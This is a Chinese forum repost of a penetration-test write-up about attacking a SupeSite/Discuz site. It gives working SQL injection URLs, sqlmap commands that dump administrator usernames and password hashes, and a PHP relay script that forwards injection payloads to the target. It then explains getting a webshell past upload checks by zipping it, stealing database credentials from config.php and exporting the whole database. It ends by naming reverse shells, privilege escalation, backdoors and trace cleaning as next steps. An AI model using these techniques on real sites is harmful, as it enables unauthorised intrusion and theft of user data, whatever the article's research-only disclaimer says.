搜索

[16468] 2021-02-21_记一次针对SupeSite的中转注入实战

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-02-21_记一次针对SupeSite的中转注入实战 记 一 次 针 对 S u p e S i t e 的 中 转 注 入 实 战 原 创   w i n d c c t v   F r e e B u f   2 0 2 1 - 0 2 - 2 1 近 期 在 一 次 演 练 行 动 中 ， 对 某 目 标 进 行 了 一 次 渗 透 测 试 ， 期 间 用 到 了 s q l m a p 的 中 转 注 入 技 术 ， 还 是 很 有 收 获 的 ， 记 录 下 来 和 大 家 共 同 分 享 ， 由 于 是 实 战 ， 免 不 了 部 分 地 方 是 要 马 赛 克 的 ， 大 家 见 谅 。 免 责 声 明 ： 本 文 中 提 到 的 漏 洞 利 用 方 法 和 脚 本 仅 供 研 究 学 习 使 用 ， 请 遵 守 《 网 络 安 全 法 》 等 相 关 法 律 法 规 。 手 工 注 入 手 工 注 入 打 开 网 页 ， 拉 到 最 底 看 到 是 感 觉 历 史 有 点 悠 久 了 ， 应 该 是 有 现 成 的 漏 洞 了 。 查 阅 了 一 波 资 料 ， 大 佬 已 经 给 出 了 S Q L 注 入 的 地 方 ， 开 心 的 手 工 注 入 一 波 ； 到 这 就 突 然 悲 剧 了 ， 反 复 报 错 ， 以 为 有 w a f ， 换 了 多 个 绕 过 方 法 在 试 ， 还 是 不 行 。 后 来 看 了 下 m y s q l 的 版 本 ， 原 来 是 4 . 0 的 ， 这 个 版 本 的 m y s q l 是 无 法 通 过 i n f o r m a t i o n _ s c h e m a . t a b l e s 来 爆 表 的 ， 那 么 就 上 神 器 s q l m a p 试 试 。 s q l m a p 中 转 注 入 中 转 注 入 手 工 注 入 失 败 后 ， 用 s q l m a p 跑 跑 ； s q l m a p   - u   “ h t t p : / / w w w . x x x x x . c o m / b a t c h . c o m m o n . p h p ? a c t i o n = m o d e l q u o t e & c i d = 1 & n a m e = s p a c e c o m m e n t s “   - v   3   — d b m s = m y s q l   — t a m p e r = s p a c e 2 c o m m e n t   — r i s k = 3   — l e v e l = 5   — r a n d o m - a g e n t   — d b s   — b a t c h 结 果 还 是 失 败 ， 怎 么 也 跑 不 出 结 果 来 ； 后 来 查 了 资 料 ， 才 知 道 这 里 要 用 s q l m a p 的 中 转 注 入 技 巧 。 首 先 用 p h p s u t d y 本 地 搭 建 一 个 网 站 ； 放 入 s q l . p h p ， 其 代 码 为 ： 先 看 看 有 多 少 字 段 ； h t t p : / / w w w . x x x x x . c o m / b a t c h . c o m m o n . p h p ? a c t i o n = m o d e l q u o t e & c i d = 1 & n a m e = s p a c e c o m m e n t s % 2 0 o r d e r % 2 0 b y % 2 0 x x x % 2 3 在 看 看 显 示 位 是 哪 几 位 ； h t t p : / / w w w . x x x x . c o m / b a t c h . c o m m o n . p h p ？ a c t i o n = m o d e l q u o t e & c i d = 1 & n a m e = s p a c e c o m m e n t s % 2 0 w h e r e % 2 0 1 = 2 % 2 0 u n i o n % 2 0 s e l e c t % 2 0 1 , 2 , 3 , 4 , 5 , , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 % 2 3   看 看 数 据 库 ； h t t p : / / w w w . x x x x x . c o m / b a t c h . c o m m o n . p h p ? a c t i o n = m o d e l q u o t e & c i d = 1 & n a m e = s p a c e c o m m e n t s % 2 0 w h e r e % 2 0 1 = 2 % 2 0 u n i o n % 2 0 s e l e c t % 2 0 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , d a t a b a s e ( ) % 2 3   然 后 开 心 的 开 始 注 表 ； h t t p : / / w w w . x x x x x . c o m / b a t c h . c o m m o n . p h p ? a c t i o n = m o d e l q u o t e & c i d = 1 & n a m e = s p a c e c o m m e n t s % 2 0 w h e r e % 2 0 1 = 2 % 2 0 u n i o n % 2 0 s e l e c t % 2 0 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , ( s e l e c t % 2 0 g r o u p _ c o n c a t ( t a b l e _ n a m e ) % 2 0 f r o m % 2 0 i n f o r m a t i o n _ s c h e m a . t a b l e s % 2 0 w h e r e % 2 0 t a b l e _ s c h e m a = d a t a b a s e ( ) ) % 2 3 < ? p h p s e t _ t i m e _ l i m i t ( 0 ) ;   $ i d = $ _ G E T [ " i d " ] ;   $ i d = s t r _ r e p l a c e ( "   " , " % 2 0 " , $ i d ) ;   $ i d = s t r _ r e p l a c e ( " = " , " % 3 D " , $ i d ) ;  
然 后 s q l m a p 就 可 以 开 心 的 跑 起 来 了 ； s q l m a p   - u   “ h t t p : / / 1 2 7 . 0 . 0 . 1 / s q l . p h p ? i d = 1 “   — d b m s = m y s q l   — t i m e - s e c   5   — d b s 数 据 库 跑 出 来 是 ： D i s c u z 。 接 下 来 继 续 跑 表 ； s q l m a p   - u   “ h t t p : / / 1 2 7 . 0 . 0 . 1 / s q l . p h p ? i d = 1 “   — d b m s = m y s q l   — t i m e - s e c   5   - D   D i s c u z   — t a b l e s 刚 开 心 没 多 久 ， 到 这 又 卡 住 了 ， 很 久 都 跑 不 出 结 果 ； 后 来 仔 细 想 了 才 知 道 ， 这 里 因 为 m y s q l 版 本 问 题 ， 布 尔 盲 注 时 需 要 提 供 字 典 ， 如 果 字 典 不 给 力 的 话 ， 那 是 跑 不 出 结 果 的 。 既 然 我 们 都 知 道 了 数 据 库 是 D i s c u z ， 那 么 查 阅 下 D i s c u z 数 据 库 的 表 名 、 列 名 ， 作 成 字 典 再 来 跑 的 话 ， 那 问 题 不 就 解 决 了 。 $ u r l   =   " h t t p : / / w w w . x x x x x . c o m / b a t c h . c o m m o n . p h p ? a c t i o n = m o d e l q u o t e & c i d = 1 & n a m e = s p a c e c o m m e n t s % 2 0 w h e r e % 2 0 1 = $ i d % 2 3 " ; e c h o   $ u r l ; $ c h   =   c u r l _ i n i t ( ) ;   c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ U R L ,   " $ u r l " ) ;   c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ R E T U R N T R A N S F E R ,   1 ) ;   c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ H E A D E R ,   0 ) ; $ o u t p u t   =   c u r l _ e x e c ( $ c h ) ;   c u r l _ c l o s e ( $ c h ) ;   p r i n t _ r ( $ o u t p u t ) ; ? >
在 s q l m a p 跑 时 指 定 好 字 典 ； 瞬 间 答 案 就 出 来 了 ， 同 样 的 道 理 ， 做 好 字 典 ， 来 跑 列 名 ； s q l m a p   - u   “ h t t p : / / 1 2 7 . 0 . 0 . 1 / s q l . p h p ? i d = 1 “   — d b m s = m y s q l   — t i m e - s e c   5   - D   D i s c u z   - T   c d b _ m e m b e r s   — c o l u m n s
最 后 直 接 就 可 以 注 出 管 理 员 的 账 号 ， 密 码 需 要 m d 5 破 解 一 下 ； s q l m a p   - u   “ h t t p : / / 1 2 7 . 0 . 0 . 1 / s q l . p h p ? i d = 1 “   — d b m s = m y s q l   — t i m e - s e c   5   - D   D i s c u z   - T   c d b _ m e m b e r s   - C   “ u s e r n a m e , p a s s w o r d ” — d u m p 上 传 上 传 s h e l l 登 录 了 管 理 员 后 台 ， 接 下 来 就 是 找 地 方 上 传 w e b s h e l l 。 期 间 走 了 很 多 弯 路 ， S u p e S i t e 很 多 地 方 都 可 以 上 传 模 板 ， 但 在 上 传 模 板 的 地 方 都 在 最 开 始 加 上 了 < ? e x i t ? > ， 这 样 你 添 加 的 p h p 代 码 就 不 会 执 行 ， 避 免 了 添 加 恶 意 的 代 码 。 查 阅 了 很 多 资 料 ， 都 没 有 绕 过 。 最 后 ， 找 到 了 一 个 可 以 利 用 的 上 传 点 ； 把 w e b s h e l l 压 缩 为 z i p 文 件 后 上 传 ， 系 统 会 随 机 生 成 一 个 目 录 ， 并 自 动 解 压 z i p 文 件 ， 那 我 们 的 w e b s h e l l 就 释 放 出 来 了 ；
在 备 份 管 理 里 可 以 看 到 这 个 压 缩 包 以 及 路 径 ， 接 下 来 就 可 以 开 心 的 菜 刀 连 接 了 。 进 去 之 后 在 找 下 配 置 文 件 ： c o n f i g . p h p ， 里 面 有 数 据 库 的 连 接 账 号 、 密 码 等 信 息 。 下 载 数 据 库 下 载 数 据 库 这 里 用 a d m i n e r . p h p ， 菜 刀 上 传 后 访 问 就 可 以 ， a d m i n e r 是 一 个 轻 量 级 的 数 据 库 管 理 工 具 ， 优 点 在 于 就 一 个 p h p 文 件 ， 操 作 起 来 也 很 方 便 。 直 接 导 出 就 可 以 了 ， 这 里 经 过 测 试 ， 导 出 s q l 最 稳 定 ， 同 时 压 缩 下 ， 否 则 太 大 了 不 利 于 传 输 。 本 地 打 开 本 地 打 开 s q l 文 件 文 件 目 标 的 系 统 是 c e n t o s ， 下 载 s q l 文 件 到 本 地 后 ， 在 w i n d o w s 下 可 以 尝 试 用 n a v i c a t 导 入 ， 操 作 简 单 就 不 多 赘 述 了 ， 在 k a l i 下 导 入 方 法 如 下 ； 1 、 首 先 建 空 数 据 库 m y s q l > c r e a t e   d a t a b a s e   D i s c u z ;
2 、 导 入 数 据 库 （ 1 ） 选 择 数 据 库 m y s q l > u s e   D i s c u z ; （ 2 ） 设 置 数 据 库 编 码 m y s q l > s e t   n a m e s   u t f 8 ; （ 3 ） 导 入 数 据 （ 注 意 s q l 文 件 的 路 径 ） m y s q l > s o u r c e   / h o m e / D i s c u z . s q l ; 文 章 到 此 就 告 一 段 落 了 ， 后 续 的 流 程 主 要 有 ： 1 、 上 传 反 弹 的 w e b s h e l l ， 反 弹 一 个 通 道 到 v p s 主 机 上 ； 2 、 尝 试 提 权 ； 3 、 留 下 后 门 ； 4 、 清 理 入 侵 痕 迹 。 这 些 将 放 在 后 续 文 章 中 介 绍 ， 本 文 主 要 研 究 的 是 s q l m a p 中 转 注 入 及 上 传 s h e l l 的 技 巧 ， 仅 供 技 术 研 究 。 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理